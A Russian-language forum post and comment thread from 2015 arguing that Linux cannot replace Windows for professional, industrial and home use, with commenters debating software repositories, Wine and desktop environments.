Вход на сайт

МЕДИАМЕТРИКА

Облако тегов

Вопросы к линуксоидам...

Аватар пользователя ®man

Провокационный пост «Windows vs Linux» собрал почти полтысячи комментариев.

Всё что написано ниже не является словами в защиту венды. Шизофрения пользовательского интерфейса в 10-ой версии виндовс вызывают у меня не только недоумение, но и дикую злобу, а всем разработчикам этой «прекрасной» операционной системы хочется пожелать, чтобы их оставшаяся жизнь была наполнена такой же прелестью и очарованием какие они устроили в своём творении.

Основной тезис автора:

Линукс может практически всё, что может Виндовс. И даже больше. Ограничения скорее аппаратные, нежели программные. Виндовс может только то, что ему разрешено разработчиками Майкрософта. И количество именно программных ограничений можно посмотреть тупо, почитав различия версий в любом продукте от Майкрософта.

Вопрос поставлен не то что бы не корректно, он нелеп по своей сути. Что «всё» может линукс?.. Что вообще может делать линукс в отрыве от человека?.. Какие типичные задачи ставит перед компьютером человек? Что вообще нужно человеку?

Как на этот вопрос смотрит американский психолог Абрахам Маслоу? ;)

Диаграмма иерархии человеческих потребностей:

Ступени (снизу вверх):
1. Физиологические
2. Безопасность
3. Любовь/Принадлежность к чему-либо
4. Уважение
5. Познание
6. Эстетические
7. Самоактуализация

Причём последние три уровня: «познание», «эстетические» и «самоактуализация» в общем случае называют «Потребностью в самовыражении» (Потребность в личностном росте)

Переложим эту диаграмму на наш вопрос и посмотрим намного шире, чем это позволил себе автор предыдущего поста. Как компьютер с ОС Linux может помочь человеку в удовлетворении иерархии человеческих потребностей?

И попробуем разобрать основной тезис автора.

Линукс может практически всё, что может Виндовс. И даже больше.

Начнём с того, что автор стыдливо (пѝнгвинам это свойственно))) вынес за скобки:

1. Выведем сразу за рамки всё спецоборудование. Оно точится под вполне конкретные системы, и никто даже не собирается поддерживать весь ныне существующий зоопарк. И правильно, собственно, делают.

Безусловно, спецоборудование работает и обслуживается на другом уровне. Скажем кассовые аппараты в супермаркетах или терминалы в торговых залах (часто встречаются в магазинах бытовой электроники или в ИКЕЕ), где M$ + 1С — де-факто стандарт. Но стоит там не обычная пользовательская венда, а XP Embedded.

В кассовых аппаратах, в банкоматах и платёжных терминалах, в игровых автоматах, на станках с системами управления ЧПУ… Да, да…

Или возьмём стоматологов, которые смотрят снимки ваших челюстей на экране монитора. Думаете там у них линуксовая консоль открыта?

Вообще в медицине, кроме спецоборудования со своими прошивками, возможен линукс? Существует линуксовый софт для работы с томографом?

Существует ли линуксовый софт способный заменить всё ПО на кондитерской фабрике? Не только у секретарши в приёмной у директора, но и у терминала машины по замесу теста для печенек.

Хотя вот автоконцерны, вроде бы как, договорились и купили платформу для бортового навигационного компьютера и что-то там пилят сейчас вскладчину. Ну и производители тож не отстают.

Но даже если непосредственно в самой железке в качестве прошивки стоит что-то отдалённо напоминающие *nixы, то для работы и обслуживания этой железки в 99% венда безальтернативна. Всё для чего может пригодиться линь – перепрошивка и то большинство программаторов – есть вендовый софт.

Т.е. отметая спецоборудование и обслуживающие его терминалы и рабочие станции, автор тем самым неосознанно сужает круг возможного использования *nix платформы, при чём очень существенно.

Возвращаясь к пирамиде Маслоу, по факту, автор отмёл первую базовую ступень, всю. Хотя этому конечно есть альтернатива, можно сеять пшеницу руками, строить мельницы и ездить на лошадиных повозках. Книги печатать старым дедовским способом. А вот с медициной придётся туго.

Далее.

2. Примерно туда-же отправим всё профессиональное узконаправленное ПО. Если есть потребность работать в каком-нибудь Pro-E, то цена системы и трудоёмкость обеспечения безопасности и поддержки там отнюдь не основополагающая. И тоже весь зоопарк систем идёт лесом, разрабам явно есть, чем заняться, кроме поддержки мультисистемности.

Тут уж совсем практически весь инструментарий можно отмести, а ведь это именно то, для чего и создавался компьютер как программно-аппаратный комплекс. И это «профессиональное узконаправленное ПО» которое используется, возможно, лишь четвертью ПК, реально может покрывать до 90% всех человеческих потребностей в современном мире. Хотите проверить? Откажитесь от использования компьютера, любого… и всех его производных. Останетесь голые, голодные и возможно без крыши над головой.

Здесь круг возможного использования линукса сужается ещё больше и значительно больше.

Пробежимся по специализированному софту.

САПР – проектирование и моделирование от инфраструктурных объектов до интерьеров автомобилей, обуви и шуруповёртов которыми люди строят дома. При этом под, обрыглой всем, вендой есть огромное количество альтернатив:

OrCAD, AutoCad и ArchiCAD, Компас (отечественный), CorelCAD и это монстры в этой области с полной интеграцией в смежные приложения, которые делают 3D и используются практически во всех отраслях проектирования объектов обеспечивающих сегодняшний, достаточно высокий, уровень жизненного комфорта.

3D – архитекторы и промышленные дизайнеры, киноиндустрия и игроделы. Опять же есть альтернативы: 3ds Max и Maya, CINEMA 4D, Blender(который, нужно признать, есть и под *nixы).

Это можно прибавить к САПРу, потому что, как правило, это один большой пакет из нескольких смежных приложений.

Графические редакторы и издательские пакеты – начиная от книг и заканчивая обёрткой туалетной бумаги стоящей на полках супермаркета, да и все другие упаковки, которые вы видите на этих полках, как и сами полки, которые спроектированы в одной из вышеперечисленных CAD систем. А также практически вся визуальная информация, которую вы видите каждый день на разных носителях. Это могут быть обои в вашей квартире, а может быть огромная наклейка на борту авиалайнера.

При этом опять же, в венде, в отличии от недоредактора с которым линуксоиды носятся везде и тычут в него всем чем можно, есть конкуренты, и каждый из них – целый комбайн. Завод в цифровом смысле. Adobe Creative Cloud, CorelDRAW Graphics Suite.

Видео и аудио редакторы – так же, как и в случае с графическими пакетами, всё, что вы видите и слышите по телевизору и в кинотеатрах на радио и в леере, всё это сделано далеко не на линуксе.

Начиная от простых и незатейливых Windows Movie Maker и VirtualDub и многих других бесплатных, (среди которых, конечно же есть и *nixовые версии приложений, которые, возможно, вполне сгодятся для простого любительского видеомонтажа) и заканчивая монстрами вроде Premiere и After Effects или Avid, или Corel VideoStudio, или Vegas от Sony или Final Cut (если уж вы маковод) и звуковые редакторы среди которых есть, как и в случае с видеоредакторами, простые и незатейливые типа mp3DirectCut, работающего через вайновый костыль на линуксах, так и вполне заслуженные, профессиональные, рабочие инструменты – Audition, Cubase, Sound ForgeFruity Loops.

У всего этого вполне демократичные ценники, которые может себе позволить не только студия звукозаписи, но и студент-дизайнер, который штопает флайера на дискотеку в местном сельском клубе.

Бухгалтерия и документооборот – 1С и МС Офис. Если вы уверены, что LibreOffice способен вытянуть тот объём документооборота и заменить пакет от ненавистного микрософта в «пенсионном фонде» в среднестатистическом российском городе-милионнике, сходите и посмотрите на чём там работают. (если вас, конечно, туда пустят)))

Про MS Project говорить не будем, просто чтобы совсем не расстраивать линуксоидов.

 

3. Суровые игровые компьютеры.

Здесь автор, сам того не замечая, отшвырнул в сторону, возможно одну из основных областей употребления компьютера в домашних условиях. Если для кино, фото и музыки ПК особо и не нужен – есть телевизор, фотоальбом и проигрыватель виниловых или компакт-дисков, то для игр есть только консоли и ПК.

И не нужно тут трясти Стимом, в котором полторы игры портированы на СтимОС. Заведите на линуксе то, что сегодня в топе.

 

4. Программисты, завязанные на Майкрософт-решения. Хотя это чем дальше, тем менее верно.

Программисты пишущие программы для работы с томографом, да и просто программисты, пишущие софт для платформы, которая занимает 90% рынка, в этом месте негодуют. Существует ли вменяемые средства разработки под венду не под вендой? А ведь это ни что иное как та самая отрасль станкостроения. Сфера производства средств производства.

Хотя тут я конечно допускаю, что писать код в чём привык – это конечно вопрос личных пристрастий и возможностей, но вот на чём он будет работать – это вопрос не ограничений и завязок на решения микрософта. Это как раз вопрос ограничения самого линукса и ему подобных систем, ибо доля их настолько мала, а как многие (на ресурсе) знают из экономических статей и выкладок – всё, что колеблется в пределах 3%  – вполне можно считать статистической погрешностью.

И вот мне чисто интересно, а интерфейс линукса (ну эскизики там, концепции всякие) в чём по-вашему рисуется? ))

Но мы возвращаемся к нашим баранам пирамиде Маслоу. Отметая всё вышеперечисленное, автор перекрыл линуксу доступ (которого и без того туда просто нет) к трём верхним степеням. И в правду, зачем нам наука и технологии, зачем человечеству строить дома и автомобили, лечить друг друга, ведь мы все эльфы, питаемся радугой и какаем бабочками.

Но если вы думаете, что линукс сможет удовлетворить ваши потребности находящиеся в середине пирамиды, то и тут вас ждут одни разочарования.

Безопасность в потребительских линуксах отсутствует как класс. Один пример – гуглоандроид. Это очень популярный (самый популярный линукс в мире, да, да) и самый настоящий стукач у вас в кармане, где удобство полностью подменило свободу. Ещё есть смартТВ, которые вслед за ведроидом стучат корпорациям днём и ночью, а ведь там тоже, в качестве ОС – подобие линукса.

Про любовь и принадлежности даже говорить нет смысла. Если конечно вы не вкладываете в эти понятия всякие порносурогаты, приобщение к которым от системы не зависит.

Может быть уважение? Может быть. Среди таких же опингвиненых и ещё не постигших весь дао консольного укрощения диких дебианов.

Так что нам оставляет автор?

А подразумевается (автор надеется), что люди будут использовать линукс на бытовом уровне в домашних условиях, но что им нужно на этом бытовом уровне, он опять же забыл (или постеснялся, что свойственно пингвинам) уточнить. Как и забыл уточнить, что в массе своей современный пользователь не просто компьютерно малограмотен, он просто туп как пробка.

Лирическое отступление

Рядовой пользователь понятия не имеет о пользовательских сценариях и особенностях интерфейса. Ничевошеньки он не знает про библиотеки и скрипты, так же, как и про консоль. Панель управления и адресная строка в браузере для многих пользователей – несуществующие понятия. И знаете, им это ТБМй не сдалось. Если линуксоиды думают, что они самые умные, а пользователю, прежде чем садится за сложную вычислительную технику, нужно выпрямить руки, пускай бегом дуют в бухгалтерию и попробуют объяснить главбуху как и через какие счета лучше провести ЗП внештатному сотруднику гос. учреждения. Заодно, по пути, пускай расскажут мастеру установки дверей и окон как избежать вертолёта при монтаже изделий. Ну и поштукатурят пускай там в коридоре на втором этаже, где ремонт, ведь они же лучше знают, как и что делать, чем Равшаны и Джамшуты там всякие (Макс привет))). Можно ещё попросить их принять роды у коровы, к примеру, но с них и этого хватит. )

Конец лирического отступления

Как уже было сказано выше – смотреть фильмы и фотографии, слушать музыку и даже играть в некоторые игры можно вообще обходясь без стационарного компьютера, при этом не исключая цифровой формат. Здесь есть и СмартТВ, и сетевые аудио проигрыватели, способные с флешки читать большинство цифровых форматов, и консоли… Это и проще для многих, и удобнее, что является одним из главным аргументов в использовании того или иного оборудования/софта (про стабильность разговор отдельный). Пользователь всегда будет идти по самому простому пути. там где меньше всего сложностей и препятствий.

Так в чём же пользователю выгода от установки линукса? В том, что он бесплатен? Или в том, что там есть вайн и можно крутить вендовый софт? Но ведь бесплатность не делает продукт проще и удобней! Так?

А если без вайна и виртуалок, нативные...

Приведите мне линуксовые альтернативы (близкие по функционалу) хотя-бы кореловской видеостудии за которую мне не жалко отдать 5К рублей.

Ладно. Не нужна мне домашняя видеоколекция. Хотя-бы фотки разобрать и в порядок привести. Может что подкорректировать, подправить и в печать отдать Что-нибудь аналогичное по функционалу Lightroomу есть? Дорого? Хорошо Photoshop Elements подойдет? Отдавать 25-40К за говнозеркалку не дорого, а отдать 4К за софтину жаба задушила?

Ладно не нужны мне фотографии.

У меня сестра вяжет. Много. Ну и вышивает. Крестиком. Есть что-нибудь для такой простой бытовой задачи на линуксе? Есть? Давайте их сюда.

Ну и самое простое, что приходит в голову…

Вот есть у многих дам и «не очень дам» есть, не менее богомерзкие чем венда, айфоны. Вопрос, надеюсь понятен? )))

Так что в итоге может линукс и чем он выгоднее венды, если переложить этот вопрос на пирамиду человеческих потребностей? А ничем. )))) От слова совсем. Даже если перевозить на него только часть структуры предприятия, делая из неё франкенштейна.

И вот тут у меня уже серьёзный встречный вопрос: а зачем все линуксоиды пытаются натянуть сову на глобус и сделать из базовой инфраструктуры, той, где и венда вполне справляется – франкенштейна? Зачем скрещивать ежа и ужа в рамках одной системы, одного бизнес процесса?

И вот тут мы подходим к тому вопросу, который и нужно озвучивать в полный рост: а есть ли у нас в стране полноценная аппаратно-программная альтернатива, которая может обеспечить хотя-бы базовые уровни вышеприведённой пирамиды?

Что делается в этом направлении? Как этому препятствует или способствует высокий уровень пиратства? И ещё много подобных вопросов с кучей нюансов.

Но что мы видим вместо этого?

А видим мы стаю пингвинов, уподобившихся стае папуасов из соседней вназимбабвы. Разница лишь в брендах. Замените Газпром на Майкрософт, а тоталитарный хаз на богомерзкую венду и вы получите скачущих за реверсные поставки линукс с вайном кулхацкеров с линуксом головного мозга. Один в один.

Посмотрите на себя!

Фонд поддержки авторов AfterShock

Комментарии

Аватар пользователя Данила мастер

Хрень полная. У меня три тачки под рукой. Одна из них на Убунте. Не вижу никаких различий с виндой. По-моему все из пальца гейтса у вас высосано. Забейте - винде уже почти кирдык, ищите себе другое поле для деятельности.

Комментарий администрации:  
*** Свиреп политически ***
Аватар пользователя ®man
®man(3 года 8 месяцев)(21:23:23 / 23-10-2015)

по делу то есь чё или слюни одни опять? )))

Аватар пользователя Данила мастер

По делу тебе говорю - читать твои "а у меня пупок чуть выше" смысла нет. Все справляются. ВСЕ. А ты просто пытаешься передергивать.

Комментарий администрации:  
*** Свиреп политически ***
Аватар пользователя ®man
®man(3 года 8 месяцев)(21:32:44 / 23-10-2015)

так, по-моему, линуксоиды то как раз и пытаются то-то там передёрнуть, не?

Аватар пользователя Данила мастер

я этого не вижу. наоборот вижу массовую рекламу покупки ПО, хотя это бесполезная трата. Так что в корыстном умысле у винды и иже с ней "продавцов и обожателей" больше мотивов.

Комментарий администрации:  
*** Свиреп политически ***
Аватар пользователя ®man
®man(3 года 8 месяцев)(21:42:27 / 23-10-2015)

однако же в прошлом посте после слов "линукс может всё" я не увидел ни одной ссылки на прикладной софт которым можно что-то делать и который был бы сравним по функционалу.

потому и задаю вопрос линуксоидам.

если не трудно покажите аналоги

да и вопрос то по большей части в другом... есть альтернатива и венде и линуксам?

Аватар пользователя Данила мастер

Харе гнать. Все могут все. Вопрос - цена. Но этого никто доказать не может - невозможно!  Для каждой блошки найти единую нишу нереально - слишком много блошек.

Комментарий администрации:  
*** Свиреп политически ***
Аватар пользователя ®man
®man(3 года 8 месяцев)(21:44:48 / 23-10-2015)

вы либо конкретизируйте либо заканчивайте.

Аватар пользователя невежда
невежда(5 лет 5 месяцев)(12:04:49 / 24-10-2015)

Линукс не ломается и возможностей 

больше. Графика в линуксе на порядок

адекватней, работать в гном шеле тупо удобней.

Комментарий администрации:  
*** Почти любой вопрос могу свести к антисобянинской политоте ***
Аватар пользователя ®man
®man(3 года 8 месяцев)(14:15:30 / 24-10-2015)

))) предельная аргументация )))

Аватар пользователя невежда
невежда(5 лет 5 месяцев)(21:20:43 / 24-10-2015)

Ну если вам нравится интерфейс нортона,

то винда подойдет.

Комментарий администрации:  
*** Почти любой вопрос могу свести к антисобянинской политоте ***
Аватар пользователя maxvlad
maxvlad(5 лет 10 месяцев)(23:11:33 / 23-10-2015)

Эмммм... а нет ли здесь подмены понятий? Коль скоро под  вайном мс офис и весь прочий конторский софт работает, какой смысл ставить винду в офис?

Я бы понял, если спрашивали про опенсофт, аналогичный профессиональному - но ведь и этого нет, Вы спрашивали про никсовые аналоги платных  пакетов.

Аватар пользователя ®man
®man(3 года 8 месяцев)(23:50:08 / 23-10-2015)

в рамкам малого и среднего бизнеса "вайн и МС оффис" и даже всякие опенофисы вполне возможны. да придётся повозиться.возможно вайн потребует более мощной аппаратной поддержки и тут уже вопрос: что выгодней. но в масштабах крупных предприятий, таких как «Росатом» – вайн не вариант

Аватар пользователя zander
zander(2 года 9 месяцев)(05:12:18 / 24-10-2015)

А у вас есть статистика использования ОС Росатомом?

Аватар пользователя ®man
®man(3 года 8 месяцев)(14:17:55 / 24-10-2015)

нет. но на чём работает бухгалтерия в некоторых частях этой корпорации, я краем уха в курсе. чистаслучайно.

Аватар пользователя zander
zander(2 года 9 месяцев)(17:19:37 / 24-10-2015)

http://www.forbes.ru/news/266089-rzhd-i-rosatom-razrabotayut-otechestven... А как вот это относится к Вашему посту, что только вынь может осилить производственные процессы? Нафига им линукс если Вы говорите, что им виндовса достаточно и без него не обойдутся?

Аватар пользователя ®man
®man(3 года 8 месяцев)(17:26:23 / 24-10-2015)

только вынь может осилить производственные процессы

в моих утверждениях речь шла о конкретном офисном пакете и его безальтернативности на крупных предприятиях с огромным документооборотом

движения «Росатома» в сторону «собственной системы» никак не противоречат моим вопросам, они их подтверждают, напрямую!

Аватар пользователя zander
zander(2 года 9 месяцев)(17:28:59 / 24-10-2015)

Вы так и не рассказали, что такое огромный документооборот.

Но он же злобный линукс :) Без винды же никак, Вы сами это говорили и про Росатом писали :) Винде нет же альтернативы и т.д. :)

Аватар пользователя ®man
®man(3 года 8 месяцев)(17:35:44 / 24-10-2015)

вы представляете себе простую задачу – расчёт ЗП на предприятии с несколькими десятками тысяч сотрудников? какая там может быть базовая инфраструктура?

в остальном вы свои домыслы себе оставьте. читать то вы умеете, а вот вникнуть в суть вопроса у вас не получилось.

Аватар пользователя zander
zander(2 года 9 месяцев)(17:42:51 / 24-10-2015)

а чем МСО в этом поможет?

Спасибо, что уточнили, что не смогли вникнуть в суть вопроса :)

Аватар пользователя ga_unnamed
ga_unnamed(5 лет 10 месяцев)(22:55:37 / 30-10-2015)

вы представляете себе простую задачу – расчёт ЗП на предприятии с несколькими десятками тысяч сотрудников?

Представляю. Oracle на *nix + тонкий клиент. Была такая комбинация для Росатома... 1С и мелкософт там однозначно увядали...

Аватар пользователя Игорь Д.
Игорь Д.(5 лет 2 недели)(12:26:04 / 24-10-2015)

Вайн не требует мощной аппаратной поддержки - это не виртуальная машина. У меня шел на таком железе, что стыдно сказать.

Аватар пользователя BOV
BOV(2 года 6 месяцев)(09:55:03 / 24-10-2015)

>я не увидел ни одной ссылки на прикладной софт которым можно что-то делать и который был бы сравним по функционалу.

 

R ?

Аватар пользователя Spartan
Spartan(2 года 4 недели)(14:38:55 / 29-10-2015)

+ массовую рекламу покупки ПО, хотя это бесполезная трата

- "Дядя Петя, ты дурак?" (С)

Тебе, балбесу, ясно сказано: "для профессионалов".

Комментарий администрации:  
*** Флудер, кандидат на лидеры бан-рейтинга ***
Аватар пользователя marwin
marwin(2 года 5 месяцев)(21:30:11 / 24-10-2015)

Вы тоже передергиваете.

1. Одно отдельное радикальное мнение подается как мнение всех линуксоидов. Я бы сказал, это довольно гаденький подход. Кстати, радикализм присущ не только линуксоидам, но и вообще многим минисообществам. Это тема для философских размышлений.

2. Почему тема безопасности осталась за скобками? Что, те же самые вирусы уже никого не волнуют?

3. С темой безопасности плотно связана тема поиска ПО. Нужно быть очень внимательным и осторожным человеком, чтобы скачав невесть откуда программу для вязания крестиком не затащить на компьютер Screen Locker или кучу бесплезного ПО от Яндекс. За последние годы эта проблема приняла впечатляющие масштабы. Когда софт распространяется через централизованные репозитории, проблема сходит на ноль. Linux-мир пришел к этому первым. Затем преимущества нового подхода поняли в Apple. Затем в Google. Если я правильно понимаю, только Microsoft до сих пор с полной ж.

4. Обозначены те сферы, в которых Windows имеет преимущество. За скобками оставлены те ниши, в которых преимущество за Linux. Сколько народу работает с САПР и 3D? А попробуйте прикинуть количество компьютеров, на которых веб-сайты и веб-сервисы, серверы приложений, базы данных. Многие профессиональные спецы на своих рабочих местах предпочитают ставить целевую платформу, т.е. пишут под Linux, работая под Linux. Уверяю, таких специалистов минимум на порядок больше, чем специалистов по САПР.

5. Я не считаю Libre Office полноценной заменой для MS Office. Но специалистов, которые используют все предоставляемые возможности MS Office в своей жизни я видел немного. Для большинства Libre Office вполне достаточен. А ценность MS Project - штука вообще спорная. Я очень хорошо знаю эту софтину, имею её правильно использовать и... умею без нее обходиться. )))

6. На самом деле, MS Project и MS Office в Linux использовать можно. Проверял лично.

7. Corel VideoStudio, Adobe PageMaker, Adobe Photoshop, etc. Эти продукты вообще нехилых бабок стоят. Я правильно понял, что вы ставите в вину Linux то, что там нет аналогичных по качеству бесплатных аналогов? Если разработчики решили не заморачиваться с кроссплатформенностью, это принижает достоинства Linux?

8. POS-программы - это не всегда Windows и 1С. Вот пример: http://artix.su/about_the_product/why_artix/

9. Говоря о VirtualDub забыть про кроссплатформенный Avidemux... Говоря про Sound Forge забыть про кроссплатформенный Audacity... это незнание или передергивание?

10. Касательно преимущества Windows в области домашнего медиа. Я раньше развлекался сборкой домашних медиацентров. Вы XBMC видели? Windows Media Center - это просто УГ. Не люблю категоричных суждений, но вот реально fucking shit! Я не знаю что там ставят в томографы, но моё домашнее сетевое хранилище (WD My Book) работает под управлением Debian. И когда мне захотелось другую реализацию DLNA для просмотра фильмов из хранилища на телевизоре, я этот Debian немножечко хакнул. Мог туда и торрентокачалку поставить, но мне это не надо. Это пример гибкости Linux.

А теперь я хочу немного поговорить о свободе. Да-да, о свободе. Когда-то я сидел на Gnome 2 и был доволен. Потом кто-то решил, что у пользователей слишком много лишней свободы и вообще пора переделать Linux под планшеты. Был создан до безобразия урезанный Gnome 3 и случился Epic Fail. Народ массово отмигрировал на KDE и Xfce. Возмущенные потребители засучили рукава и форкнули Gnome 2, появился Mate. Canoncal пошел на революционный прорыв и появилось Unity. Для тех, кто не оценил революционность Unity, создали Cinnamon. Мелкие группки фриков пилят свои оконные менеджеры. И все это Linux. Бардак? С одной стороны да. А с другой стороны - это свобода.

За последнее время я взял на работу двух разработчиков. Жесткого корпоративного стандарта у нас нет, но я рекомендовал выбрать Linux, так как это целевая платформа наших продуктов. Лично я использую Cinnamon, который достаточно сильно кастомизировал для своего удобства. Другой человек поставил KDE. Третий - FVWM. Разница дикая, но каждому комфортно, а на выходе продукция под Linux, часть которой к тому же кроссплатформенна.

Понятно о чем я? Linux - это просто другой Life Style. А если вас бесит шизофрения 10-ой версии - узбагойтесь. Могу вас заверить, что Microsoft лучше знает, что вам нужно. Расслабьтесь и получайте удовольствие.

Аватар пользователя ®man
®man(3 года 8 месяцев)(21:47:48 / 24-10-2015)

Linux - это просто другой Life Style.

звучит как лозунг. да, да. еще скажите "мы здесь власть..." и вообще ляпота )))

А попробуйте прикинуть количество компьютеров, на которых веб-сайты и веб-сервисы, серверы приложений, базы данных.

что вы будите делать со всем этим барахлом если сопливый инженер у которого "САПР на венде и не иначе" не справится с поставленной задачей и не закончит работу над новым энергоблоком, оставим тем самым часть человеческой инфраструктуры без энергии.

дальше даже комментировать ничего не буду

вы только подтверждаете выводы статьи

Аватар пользователя zander
zander(2 года 9 месяцев)(22:17:01 / 24-10-2015)

А вдруг "САПР не на венде и не иначе"?

Аватар пользователя ®man
®man(3 года 8 месяцев)(23:38:05 / 24-10-2015)

вполне возможно. почему нет.

но вот в соседней ветке компас же не завелся под вайном 

Аватар пользователя zander
zander(2 года 9 месяцев)(08:51:57 / 25-10-2015)

Вы о чем? Я писал, что возникли проблемы с его установкой. Но я его настроил. Только автокады стояли на винде.

Аватар пользователя marwin
marwin(2 года 5 месяцев)(12:51:43 / 25-10-2015)

звучит как лозунг. да, да. еще скажите "мы здесь власть..." и вообще ляпота )))

Я не собираюсь потакать вашим глупостям. Суть в том, что у линукс-пользователей есть свобода выбора, а у Windows-пользователей её нет и со временем становится даже меньше.

Прошу заметить, я не двигаю тезис "Только Линукс, только харкор". Тезис "Линукс никому не нужен" это просто другая сторона медали. Я почитал предыдущий тред и пришел к выводу, что приверженцы этой точки зрения не менее агрессивны и упороты, чем "тру-линуксоиды".

Если человек не может выбирать ОС в силу ограничений, накладываемых его инструментами, значит пусть работает в Windows. В задницу Wine, пусть работает под Windows! Нужны игры - бегом в Windows! Но если же человек может выбирать, то имеет смысл подумать. В конце-концов, почему разные гайки мы закручиваем разными гаечными ключами, а все задачи пытаемся решить одной и той же программой? Что, Dualboot - это харам?

Аватар пользователя ®man
®man(3 года 8 месяцев)(13:24:30 / 25-10-2015)

Суть в том, что у линукс-пользователей есть свобода выбора

в чём это выражается? приложения устанавливаются из репозитария. вам это не напоминает строго ограниченный выбор ретейлеров у которых можно купить строго ограниченный набор качественных продуктов? пока там всё открыто и бесплатно, но кто мешает сделать платные репозитарии?

приверженцы этой точки зрения не менее агрессивны и упороты

да. если вы пробежитесь по этой ветке, то увидите, что и я, и многие из камрадов здесь об этом говорят. в той ветке это слишком выражено из чего я и сделал вывод в своей статье.

Но если же человек может выбирать

поймите, я не просто так задал вопрос в статье о полной аппаратно-програмной альтернативе. и я убеждён, что форк линукса не есть альтернатива. он не меняет логику и не меняет философию, соответственно не меняет и парадигмы в том числе и культурной. это не технический вопрос. не многие камрады уловили это. как следствие мы не имеем выбора, вместо этого у нас либо его иллюзия либо суррогат.

Аватар пользователя marwin
marwin(2 года 5 месяцев)(16:31:21 / 25-10-2015)

Историю с Gnome 3 я привел в качестве примера того, каким образом парадигма Linux отличается от парадигмы Windows. Если Microsoft принимает неверное решение, пользователи плюются, стонут, задерживают обновления, но продолжают использовать Windows. А что делать? В свою очередь, Microsoft пытается выдавить пользователей из уютной среды обитания и попутно раскручивает на бабло.

В мире Linux неудачные решения тоже бывают, и часто. Но стоит разработчикам оплошать, и народ просто откочевывает на другие дистрибутивы. Зайдите на distrowatch.com и посмотрите статистику по годам. В 2002 году в топе Mandrake, Red Hat, Gentoo. В 2006 - Ubuntu, SUSE, Fedora, в 2014 - Mint, Ubuntu, Debian. С одной стороны, куча ресурсов тратится на создание однотипных инструментов. С другой стороны, поскольку база у всех дистрибутивов общая, то создание нового дистрибутива и новой концепции не так уж и затратны. Главное же, что в результате пользователи получают свободу выбора и опосредованно задают вектор развития. Это совершенно другой подход, другая философия.

Насчет репозитариев у вас неверные представления. За неимением репозиториев у Microsoft, давайте сравним с Apple. У яблочников существуют очень жесткие требования к приложениям, размещаемым в App Store. С одной стороны, это положительно сказывается на качестве продутов. С другой стороны, продукты должны в обязательном порядке проходить процедуру проверки, ожидание которой занимает несколько недель. Если ваше приложение покажется бесполезным и неинтересным - приложение будет отклонено. Если приложение не прошло проверку на соответствие стандартам - приложение будет отклонено. Вам придется сделать все требуемые изменения, снова залить приложение и снова несколько недель ждать review. Ускорить процесс review невозможно. В API iOS есть некоторые ограничения, которые не позволяют вам сделать приложение лучше, чем штатное приложение от Apple. На свой страх и риск можете использовать недокументированные фичи. Если вас поймают - приложение будет отклонено. Есть строгие требования к контенту. Сделаю отступление.

Я когда-то имел честь быть менеджером проекта Афиша для iPhone. И был у нас гомерический случай. Первое review запороли, была какая-то претензия к формату файла иконки. План горит, заказчик на нервах, ждет результатов второго review. Apple претензий к приложению больше не имеет, но в скринах одного из фильмов видит сиськи. Фильм американский, если чо. Но высокоморальные американские парни приложение отклоняют. Редактор получает люлей, перезаливаем приложение, ждем три недели. В ходе тестирования на скринах к одному из фильмов обнаруживается мужская жопа. Мы рыдаем в корчах, заказчик грызет стол. Где-то через три месяца приложение публикуется и мы наконец получаем возможность намазать масло на  корочку хлеба.  

В общем, централизованный репозиторий в исполнении Apple - это Адъ. И Apple позаботился о том, чтобы минуя App Store поставлять приложения конечным потребителям было весьма затруднительно.

А теперь давайте сравним с подходом Linux. В случае Linux есть идеологически чистые репозитории, куда закрытое ПО никогда не пустят. Но есть репозитории, в которых можно размещать ПО с закрытой лицензией или даже коммерческое. В таких репозиториях можно найти такие популярные продукты, как Skype, Dropbox, VirtualBox, Opera. Если продукт новый или по каким-то причинам не попал в официальные репозитории, можно создать свой репозиторий. К примеру, таким образом распространяется бета Яндекс Браузера, DeadBeef, Flacon. В свой репозиторий можно положить то, что класть в общем-то вообще запрещено. Например, Oracle JDK. Словом, тут нет драконовских ограничений и каждый может выбрать репозитории в соответствии со своей степенью веры в свободное ПО. Кстати, успех Linux Mint во многом связан... с низкой моральной планкой разработчиков. )) Они первые сообразили, что пользователям на лицензии в общем-то наплевать, им надо чтобы все работало, и желательно сразу из коробки. И там, где Canonical придумывал хитрый механизм загрузки кодеков и драйверов для обхода лицензинонных ограничений, минтовцы, просто забили и получили нехилый профит.

Можно собрать приложение в DEB и распространять его вообще без репозитория (Oracle Database, Teamviewer) так, как это принято делать в Windows. Но это, безусловно, плохой подход. Потому что самая веселуха начинается с обновлениями. Как обновления происходят в Windows? По принципу help yourself. Я в Windows захожу нечастно, и тут же получаю кучу уведомлений, что Punto Switcher, Flash Player, GOM Player, Aimp и Oracle JRE надо обновить. Срочно! Прям щас! Иначе ой. Так и хочется воскликнуть: "В очередь, сукины дети!" При работе с репозиториями в Linux обновления ОС и обновления всех приложений поступают централизованно. Я могу централизованно запретить обновления или же установить периодичность проверки. И обновление происходит именно тогда, когда я этого пожелаю. И Linux не может меня поставить перед фактом, что ему видней, когда мне обновляться, как это делает Windows. Обновления операционки в Windows - это вообще песня! Довольно часто при выключении или запуске Windows вижу что-то в духе "Пожалуйста, не вынимайте вилку из розетки, мне надо пару часов пошуршать вашим винтом". А я, к примеру, хотел срочно телефон детского врача узнать. Ну тут я прекращаю дозволенные речи, а то забанят.

 

Аватар пользователя ®man
®man(3 года 8 месяцев)(17:18:43 / 25-10-2015)

Ну тут я прекращаю дозволенные речи, а то забанят.

ни в коем случае. 

вы в общих чертах описали три разные парадигмы, т.е. вы понимаете, что вопрос в меньшей степени технический. а теперь оглянитесь вокруг, вам это ничего не напоминает? )))

Аватар пользователя Spartan
Spartan(2 года 4 недели)(14:46:41 / 29-10-2015)

+ приложения устанавливаются из репозитария. вам это не напоминает строго ограниченный выбор ретейлеров у которых можно купить строго ограниченный набор качественных продуктов? пока там всё открыто и бесплатно, но кто мешает сделать платные репозитарии?

- Бесполезно. ОНИ ВЕРУЮТ.

Комментарий администрации:  
*** Флудер, кандидат на лидеры бан-рейтинга ***
Аватар пользователя Spartan
Spartan(2 года 4 недели)(14:45:23 / 29-10-2015)

+ Но если же человек может выбирать, то имеет смысл подумать

- Ну вот я и подумал. При всей широте выбора. И выбрал винду. Ради собственного удобства и туевой хучи прокладного софта.

Настраивается винда за один час максимум, работает годами без глюков.

И я не знаю, какая такая "кастомизация" линуха даст мне человеческий фотошоп и архикад.

Комментарий администрации:  
*** Флудер, кандидат на лидеры бан-рейтинга ***
Аватар пользователя ga_unnamed
ga_unnamed(5 лет 10 месяцев)(23:11:46 / 30-10-2015)

Что, Dualboot - это харам?

